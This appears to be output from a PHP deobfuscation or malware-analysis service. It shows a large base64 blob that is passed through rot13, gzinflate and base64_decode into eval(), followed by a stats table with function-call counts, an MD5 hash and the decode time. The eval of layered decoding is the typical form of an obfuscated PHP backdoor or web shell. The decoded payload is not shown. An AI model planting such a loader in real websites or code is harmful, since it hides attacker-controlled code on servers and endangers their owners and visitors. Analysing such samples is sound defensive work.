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";
eval(str_rot13(gzinflate(str_rot13(base64_decode(($text))))));
Function Calls
gzinflate | 1 |
str_rot13 | 2 |
base64_decode | 1 |
Stats
MD5 | c80dea127a3748803761dac5f519d174 |
Eval Count | 1 |
Decode Time | 218 ms |